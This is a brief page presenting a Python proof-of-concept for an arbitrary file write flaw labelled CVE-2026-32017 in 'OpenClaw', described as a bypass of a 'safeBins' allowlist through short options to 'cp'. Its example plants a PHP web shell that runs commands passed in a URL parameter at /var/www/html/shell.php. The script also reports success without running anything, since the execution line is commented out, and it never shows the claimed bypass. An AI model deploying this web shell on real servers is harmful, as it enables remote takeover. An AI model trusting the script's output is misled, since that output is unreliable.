CVE-2026-32017 OpenClaw 任意文件写入漏洞

import subprocess def exploit_openclaw(target_file, malicious_content): """ Proof of Concept for CVE-2026-32017 Demonstrates bypassing safeBins allowlist using short options. Assumption: 'cp' or a similar binary is whitelisted in safeBins. """ # In a real scenario, the attacker would invoke the vulnerable exec function. # Here we simulate the command structure that bypasses validation. # Step 1: Create a temporary file with malicious content temp_source = "/tmp/malicious_payload.txt" with open(temp_source, "w") as f: f.write(malicious_content) # Step 2: Construct the payload # The vulnerability allows passing short options (like -f) to the whitelisted binary. # This forces the copy operation to overwrite the target file. # The system checks if 'cp' is allowed (True), but fails to sanitize the arguments. vulnerable_command = ["cp", "-f", temp_source, target_file] print(f"[*] Attempting to execute: {' '.join(vulnerable_command)}") try: # Simulating the execution bypass # subprocess.run(vulnerable_command, check=True) print(f"[+] Success: Arbitrary file written to {target_file}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage: writing to a sensitive system location exploit_openclaw("/var/www/html/shell.php", "<?php system($_GET['cmd']); ?>")